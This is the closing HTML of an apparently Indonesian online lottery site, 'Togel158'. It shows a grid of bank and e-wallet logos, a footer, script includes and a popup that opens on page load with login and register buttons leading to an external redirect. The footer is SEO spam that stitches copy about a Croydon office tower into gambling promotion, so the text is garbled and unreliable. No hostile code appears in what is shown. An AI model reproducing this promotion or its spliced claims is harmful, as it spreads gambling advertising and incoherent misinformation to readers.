                                        <img src="assets/img/global/banks/bankaladin.png?v=1775594878" alt="Bank Central Asia" width="78px" height="24px">
                                    </div>
                                                                                                                                            <div class="item bank" data-animation="fadeIn">
                                        <div class="online bankdki">
                                        </div>
                                        <img src="assets/img/global/banks/bankdki.png?v=1775594878" alt="Bank Central Asia" width="78px" height="24px">
                                    </div>
                                                                                                                                            <div class="item bank" data-animation="fadeIn">
                                        <div class="online bankmaluku">
                                        </div>
                                        <img src="assets/img/global/banks/bankmaluku.png?v=1775594878" alt="Bank Central Asia" width="78px" height="24px">
                                    </div>
                                                                                                                                            <div class="item bank" data-animation="fadeIn">
                                        <div class="online bankntt">
                                        </div>
                                        <img src="assets/img/global/banks/bankntt.png?v=1775594878" alt="Bank Central Asia" width="78px" height="24px">
                                    </div>
                                                                                                                                            <div class="item bank" data-animation="fadeIn">
                                        <div class="online bca">
                                        </div>
                                        <img src="assets/img/global/banks/bca.png?v=1775594878" alt="Bank Central Asia" width="78px" height="24px">
                                    </div>
                                                                                                                                            <div class="item bank" data-animation="fadeIn">
                                        <div class="online bni">
                                        </div>
                                        <img src="assets/img/global/banks/bni.png?v=1775594878" alt="Bank Central Asia" width="78px" height="24px">
                                    </div>
                                                                                                                                            <div class="item bank" data-animation="fadeIn">
                                        <div class="online bri">
                                        </div>
                                        <img src="assets/img/global/banks/bri.png?v=1775594878" alt="Bank Central Asia" width="78px" height="24px">
                                    </div>
                                                                                                                                            <div class="item bank" data-animation="fadeIn">
                                        <div class="online btn">
                                        </div>
                                        <img src="assets/img/global/banks/btn.png?v=1775594878" alt="Bank Central Asia" width="78px" height="24px">
                                    </div>
                                                                                                                                            <div class="item bank" data-animation="fadeIn">
                                        <div class="online bukopin">
                                        </div>
                                        <img src="assets/img/global/banks/bukopin.png?v=1775594878" alt="Bank Central Asia" width="78px" height="24px">
                                    </div>
                                                                                                                                            <div class="item bank" data-animation="fadeIn">
                                        <div class="online dana">
                                        </div>
                                        <img src="assets/img/global/banks/dana.png?v=1775594878" alt="Bank Central Asia" width="78px" height="24px">
                                    </div>
                                                                                                                                            <div class="item bank" data-animation="fadeIn">
                                        <div class="online danamon">
                                        </div>
                                        <img src="assets/img/global/banks/danamon.png?v=1775594878" alt="Bank Central Asia" width="78px" height="24px">
                                    </div>
                                                                                                                                            <div class="item bank" data-animation="fadeIn">
                                        <div class="online dbs">
                                        </div>
                                        <img src="assets/img/global/banks/dbs.png?v=1775594878" alt="Bank Central Asia" width="78px" height="24px">
                                    </div>
                                                                                                                                            <div class="item bank" data-animation="fadeIn">
                                        <div class="online gopay">
                                        </div>
                                        <img src="assets/img/global/banks/gopay.png?v=1775594878" alt="Bank Central Asia" width="78px" height="24px">
                                    </div>
                                                                                                                                            <div class="item bank" data-animation="fadeIn">
                                        <div class="online hanabank">
                                        </div>
                                        <img src="assets/img/global/banks/hanabank.png?v=1775594878" alt="Bank Central Asia" width="78px" height="24px">
                                    </div>
                                                                                                                                            <div class="item bank" data-animation="fadeIn">
                                        <div class="online jenius">
                                        </div>
                                        <img src="assets/img/global/banks/jenius.png?v=1775594878" alt="Bank Central Asia" width="78px" height="24px">
                                    </div>
                                                                                                                                            <div class="item bank" data-animation="fadeIn">
                                        <div class="online linkaja">
                                        </div>
                                        <img src="assets/img/global/banks/linkaja.png?v=1775594878" alt="Bank Central Asia" width="78px" height="24px">
                                    </div>
                                                                                                                                            <div class="item bank" data-animation="fadeIn">
                                        <div class="online mandiri">
                                        </div>
                                        <img src="assets/img/global/banks/mandiri.png?v=1775594878" alt="Bank Central Asia" width="78px" height="24px">
                                    </div>
                                                                                                                                            <div class="item bank" data-animation="fadeIn">
                                        <div class="online mayapada">
                                        </div>
                                        <img src="assets/img/global/banks/mayapada.png?v=1775594878" alt="Bank Central Asia" width="78px" height="24px">
                                    </div>
                                                                                                                                            <div class="item bank" data-animation="fadeIn">
                                        <div class="online maybank">
                                        </div>
                                        <img src="assets/img/global/banks/maybank.png?v=1775594878" alt="Bank Central Asia" width="78px" height="24px">
                                    </div>
                                                                                                                                            <div class="item bank" data-animation="fadeIn">
                                        <div class="online mega">
                                        </div>
                                        <img src="assets/img/global/banks/mega.png?v=1775594878" alt="Bank Central Asia" width="78px" height="24px">
                                    </div>
                                                                                                                                            <div class="item bank" data-animation="fadeIn">
                                        <div class="online mestika">
                                        </div>
                                        <img src="assets/img/global/banks/mestika.png?v=1775594878" alt="Bank Central Asia" width="78px" height="24px">
                                    </div>
                                                                                                                                            <div class="item bank" data-animation="fadeIn">
                                        <div class="online nobubank">
                                        </div>
                                        <img src="assets/img/global/banks/nobubank.png?v=1775594878" alt="Bank Central Asia" width="78px" height="24px">
                                    </div>
                                                                                                                                            <div class="item bank" data-animation="fadeIn">
                                        <div class="online ovo">
                                        </div>
                                        <img src="assets/img/global/banks/ovo.png?v=1775594878" alt="Bank Central Asia" width="78px" height="24px">
                                    </div>
                                                                                                                                            <div class="item bank" data-animation="fadeIn">
                                        <div class="online panin">
                                        </div>
                                        <img src="assets/img/global/banks/panin.png?v=1775594878" alt="Bank Central Asia" width="78px" height="24px">
                                    </div>
                                                                                                                                            <div class="item bank" data-animation="fadeIn">
                                        <div class="online papua">
                                        </div>
                                        <img src="assets/img/global/banks/papua.png?v=1775594878" alt="Bank Central Asia" width="78px" height="24px">
                                    </div>
                                                                                                                                            <div class="item bank" data-animation="fadeIn">
                                        <div class="online permata">
                                        </div>
                                        <img src="assets/img/global/banks/permata.png?v=1775594878" alt="Bank Central Asia" width="78px" height="24px">
                                    </div>
                                                                                                                                            <div class="item bank" data-animation="fadeIn">
                                        <div class="online seabank">
                                        </div>
                                        <img src="assets/img/global/banks/seabank.png?v=1775594878" alt="Bank Central Asia" width="78px" height="24px">
                                    </div>
                                                                                                                                            <div class="item bank" data-animation="fadeIn">
                                        <div class="online shopeepay">
                                        </div>
                                        <img src="assets/img/global/banks/shopeepay.png?v=1775594878" alt="Bank Central Asia" width="78px" height="24px">
                                    </div>
                                                                                                                                            <div class="item bank" data-animation="fadeIn">
                                        <div class="online sinarmas">
                                        </div>
                                        <img src="assets/img/global/banks/sinarmas.png?v=1775594878" alt="Bank Central Asia" width="78px" height="24px">
                                    </div>
                                                                                                                                            <div class="item bank" data-animation="fadeIn">
                                        <div class="online superbank">
                                        </div>
                                        <img src="assets/img/global/banks/superbank.png?v=1775594878" alt="Bank Central Asia" width="78px" height="24px">
                                    </div>
                                                                                                                                            <div class="item bank" data-animation="fadeIn">
                                        <div class="online uob">
                                        </div>
                                        <img src="assets/img/global/banks/uob.png?v=1775594878" alt="Bank Central Asia" width="78px" height="24px">
                                    </div>
                                                            </div>
                            <div>
                                <center>
                                    <span style="line-height: 0.8;">Bank Online (<div style="display: inline-block;background: #89e745;height: 13px;width: 13px;border-radius: 50%;">
                                            &nbsp;</div>) / </span>
                                    <span style="line-height: 0.8;">Bank Gangguan (<div style="display: inline-block;background: #f7f014;height: 13px;width: 13px;border-radius: 50%;">
                                            &nbsp;</div>) / </span>
                                    <span style="line-height: 0.8;">Bank Offline (<div style="display: inline-block;background: #ff0000;height: 13px;width: 13px;border-radius: 50%;">
                                            &nbsp;</div>)</span>
                                </center>
                            </div>
                        </div>
                    </div>
                </div>
            </section>
        <!-- END PAGE -->
<div class='col-xs-12 footer-menu'>
  <div class="container" style="text-align:center;">
    <ul style="display:inline-flex;list-style:none;font-size:16px;margin:0px;padding:0px;line-height:10px;">
          </ul>
  </div>
</div>
<footer id="footer">
  <div class="footer-main">
    <div class="container">
      <div class="row">
        <div class="col-md-12">
          <div class="widget widget-about">
                          <p>
                        <!-- ambil data footer dari table agency_runtext; -->
            <h1>TOGEL158 | Croydon Daftar Link Togel158 No 1 Jagat Maya Terpopuler Largest di Asia</h1>
<p style="text-align: justify;">Togel158 proudly present No 1 Croydon sebagai office tower pendukung kota dengan para penghuninya mendapatkan fasilitas link daftar Togel158 berikut ragam jenis game Togel 158 online di Asia, khususnya Indonesia. Sebagai landmark paling terkenal di wilayahnya, Togel158 providing in excess of 160,000 sq ft of office space. Our platform toto togel is instantly recognizable dan telah mengalami transformasi besar-besaran to offering bonus togel slot yang fleksibel dan mudah diklaim. Rancangan interfacenya pun dimaksimalkan agar pengguna Togel 158 dapat mengaksesnya lebih mudah dan cepat.</p>
            
          </div>
        </div>
      </div>
    </div>
  </div>
  <div class="footer-bottom">
    <div class="container">
      <div class="row">
                    <div class="brand-support" style="display:flex;justify-content:center;align-items:center;gap:10px;margin-bottom:10px">
                
                
            </div>
                            <div class="col-md-12 copyright">
                        &copy; Copyright 2014 - 2026 <a href="#">Togel158</a>. All Rights Reserved.
            </div>
      </div>
    </div>
  </div>
</footer>
<div class="scroll-top">
  <a href="#">
    <i class="fa fa-angle-up"></i>
  </a>
</div>
<style type="text/css">
	@font-face {
		font-family: Muli;
		src: url('assets/fonts/Muli.ttf');
        font-display: swap;
	}
	h1, h2, h3, h4, h5, h6, a, button.btn-theme, .btn.btn-theme, span, .date, p, .copyright, li, thead, tbody, .row{
		font-family: Muli !important;
	}
</style>
<style type="text/css">
.tickercontainer{width:100%;margin:0px;padding:0px;overflow:hidden;}
.tickercontainer .masking{position:relative;left:0px;width:100%;height:35px;overflow:hidden;}
ul.newsticker{position:relative;width:100%;list-style-type:none;margin-top:7px;padding:0px;}
ul.newsticker li{float:left;margin:0px;padding:0px;}
ul.newsticker a{white-space:nowrap;padding:0px;margin:0 45px 0 0;color:#717171;}
ul.newsticker span{margin:0 10px 0 0;}
</style>
<script src="assets/js/vendor/modernizr-2.6.2-respond-1.1.0.min.js"></script>

<script src="assets/js/vendor/bootstrap/bootstrap.min.js"></script>
<script src="assets/js/vendor/skrollr/skrollr.min.js"></script>
<script src="assets/js/vendor/text-rotator/jquery.simple-text-rotator.js"></script>
<script src="assets/js/vendor/owl-carousel/owl.carousel.min.js"></script>
<script src="assets/js/vendor/nivo-lightbox/nivo-lightbox.min.js"></script>
<script src="assets/js/vendor/tweet-js/jquery.tweet.min.js"></script>
<!-- <script src="../assets/js/vendor/vticker/jquery.vticker.min.js" ></script> -->
<script src="assets/js/vendor/jflickrfeed/jflickrfeed.min.js"></script>
<script src="assets/js/vendor/appear/jquery.appear.js"></script>
<script src="assets/js/vendor/parallax/jquery.parallax-1.1.3.js"></script>
<script src="assets/js/vendor/liScroller/jquery.li-scroller.1.0.js"></script>
<script src="assets/js/jquery.cycle2.min.js"></script>
<script src="assets/js/jquery.fixedheadertable.min.js"></script>
<script src="assets/js/style.js?v=1.0"></script>
<script>
    jQuery.event.special.touchstart = {
        setup: function( _, ns, handle ) {
            this.addEventListener("touchstart", handle, { passive: !ns.includes("noPreventDefault") });
        }
    };
    jQuery.event.special.touchmove = {
        setup: function( _, ns, handle ) {
            this.addEventListener("touchmove", handle, { passive: !ns.includes("noPreventDefault") });
        }
    };
    jQuery.event.special.wheel = {
        setup: function( _, ns, handle ){
            this.addEventListener("wheel", handle, { passive: true });
        }
    };
    jQuery.event.special.mousewheel = {
        setup: function( _, ns, handle ){
            this.addEventListener("mousewheel", handle, { passive: true });
        }
    };
  (function($){"use strict";$.fn.cycle.transitions.scrollVert={before:function(opts,curr,next,fwd){opts.API.stackSlides(opts,curr,next,fwd);var height=opts.container.css('overflow','hidden').height();opts.cssBefore={top:fwd?height:-height,left:0,opacity:1,display:'block',visibility:'visible'};opts.animIn={top:0};opts.animOut={top:fwd?-height:height};}};})(jQuery);
</script>
<script language="JavaScript">
    function OpenInNewTab(url) {
      var win = window.open('https://langsung.site/tg158-rebrand', '_blank');
      win.focus();
    }
    function target_popup(url,w,h,windowName) {
     var left = (screen.width/2)-(w/2);
     var top = (screen.height/2)-(h/2);
       newwindow=window.open(url,windowName,'height='+h+',width='+w+',top='+top+',left='+left);
       if (window.focus) {newwindow.focus()}
       return false;
     }
  </script>
<!-- 29-01-2018 <script language='JavaScript1.1' src='//pixel.mathtag.com/event/js?mt_id=995355&mt_adid=161820&v1=&v2=&v3=&s1=&s2=&s3='></script> -->
<script type="text/javascript" src="js/vbulletin_md5.js"></script>

    <script defer="" src="js/auth/login.js?v=1775594878"></script>

<script src="js/frontend/desktop/template_v1/before/index.js?v=kvuoi5mph2xhvcsnxdms"></script>
<script>
    window.onkeydown = function(e) {
        if (e.keyCode == 8 && e.target == document.body)
            e.preventDefault();
    }
</script>
<script src="js/custom/floating_icons.min.js?v=1775594878"></script>


    <script defer="" src="beacon.min.js/v8c78df7c7c0f484497ecbca7046644da1771523124516" integrity="sha512-8DS7rgIrAmghBFwoOTujcf6D9rXvH8xm8JQ1Ja01h9QX8EzXldiszufYa4IFfKdLUKTTrnSFXLDkUEOTrZQ8Qg==" data-cf-beacon='{"version":"2024.11.0","token":"a1b7ad5596174e599314054bf1d3932d","server_timing":{"name":{"cfCacheStatus":true,"cfEdge":true,"cfExtPri":true,"cfL4":true,"cfOrigin":true,"cfSpeedBrain":true},"location_startswith":null}}' crossorigin="anonymous"></script>
<script>(function(){function c(){var b=a.contentDocument||a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'9e8be4177e2e52a9',t:'MTc3NTU5NDg4Mw=='};var a=document.createElement('script');a.src='/cdn-cgi/challenge-platform/scripts/jsd/main.js';document.getElementsByTagName('head')[0].appendChild(a);";b.getElementsByTagName('head')[0].appendChild(d)}}if(document.body){var a=document.createElement('iframe');a.height=1;a.width=1;a.style.position='absolute';a.style.top=0;a.style.left=0;a.style.border='none';a.style.visibility='hidden';document.body.appendChild(a);if('loading'!==document.readyState)c();else if(window.addEventListener)document.addEventListener('DOMContentLoaded',c);else{var e=document.onreadystatechange||function(){};document.onreadystatechange=function(b){e(b);'loading'!==document.readyState&&(document.onreadystatechange=e,c())}}}})();</script></body>
<!-- POPUP START -->
<style>
#popupOverlay {
    position: fixed;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    background: rgba(0,0,0,0.75);
    display: flex;
    align-items: center;
    justify-content: center;
    z-index: 9999;
    opacity: 0;
    visibility: hidden;
    transition: 0.3s;
}

#popupOverlay.active {
    opacity: 1;
    visibility: visible;
}

#popupBox {
    background: linear-gradient(145deg, #95813a, #000000);
    color: #fff;
    width: 80%;
    max-width: 400px;
    border-radius: 14px;
    padding: 18px;
    text-align: center;
    position: relative;
    animation: popupAnim 0.3s ease;
    box-shadow: 0 0 20px rgba(255,215,0,0.3);
}

@keyframes popupAnim {
    from { transform: scale(0.8); opacity: 0; }
    to { transform: scale(1); opacity: 1; }
}

#popupClose {
    position: absolute;
    top: 10px;
    right: 15px;
    font-size: 18px;
    cursor: pointer;
}

/* IMAGE */
.popupImg {
    width: 100%;
    border-radius: 10px;
    margin-bottom: 10px;
}

/* TABLE */
.popupTable {
    width: 100%;
    margin-top: 10px;
    border-collapse: collapse;
    font-size: 14px;
}

.popupTable td {
    padding: 8px;
    border-bottom: 1px solid rgba(255,255,255,0.1);
}

.popupTable td:first-child {
    text-align: left;
    color: #ccc;
}

.popupTable td:last-child {
    text-align: right;
    font-weight: bold;
    color: gold;
}

/* BUTTON */
.popupBtnWrap {
    display: flex;
    gap: 10px;
    margin-top: 15px;
}

.popupBtn {
    flex: 1;
    padding: 10px;
    border-radius: 8px;
    text-decoration: none;
    font-weight: bold;
    transition: 0.2s;
}

.btnLogin {
    background: #dbdbdb;
    color: #fff;
}

.btnDaftar {
    background: rgb(255 210 0);
    color: #000;
    /* Membuat tulisan tebal */
    font-weight: bold; 
    /* Menambahkan animasi bernama 'pendar' selama 2 detik, halus (ease-in-out), dan berulang terus */
    animation: pendar 2s ease-in-out infinite;
}

@keyframes pendar {
    0%, 100% {
        opacity: 1;
        box-shadow: 0 0 0px rgba(255, 255, 255, 0);
    }
    50% {
        opacity: 0.7; /* Efek berkedip pelan */
        box-shadow: 0 0 10px rgba(255, 255, 255, 0.8), 0 0 20px rgba(255, 210, 0, 0.5); /* Efek berpendar */
    }


.popupBtn:hover {
    transform: scale(1.05);
}

/* MOBILE */
@media(max-width:480px){
    #popupBox {
        padding: 14px;
        font-size: 13px;
    }
}
</style>

<div id="popupOverlay">
    <div id="popupBox">
        <span id="popupClose">✖</span>
        <!-- IMAGE -->
        <img src="https://tototogelpro.com/image/togel158-toto-togel-4d-terbaik-dan-terpercaya.webp" class="popupImg" alt="Togel158 - Link Daftar Mobile Game Online Togel 158 Paling Populer Di Asia">
        
         <h3><strong>Togel158 - Link Daftar Mobile Game Online Togel 158 Paling Populer Di Asia</strong></h3>
        <!-- BUTTON -->
        <div class="popupBtnWrap">
            <a href="https://langsung.site/tg158-rebrand" rel="nofollow" class="popupBtn btnLogin">LOGIN</a>
            <a href="https://langsung.site/tg158-rebrand" rel="nofollow" class="popupBtn btnDaftar">DAFTAR</a>
        </div>
    

    </div>
</div>
<script>
// langsung tampil
document.addEventListener("DOMContentLoaded", function(){
    document.getElementById("popupOverlay").classList.add("active");
});

// tombol close
document.getElementById("popupClose").onclick = function(){
    document.getElementById("popupOverlay").classList.remove("active");
}

// klik luar = close
document.getElementById("popupOverlay").onclick = function(e){
    if(e.target === this){
        this.classList.remove("active");
    }
}
</script>
<!-- POPUP END -->
</html>
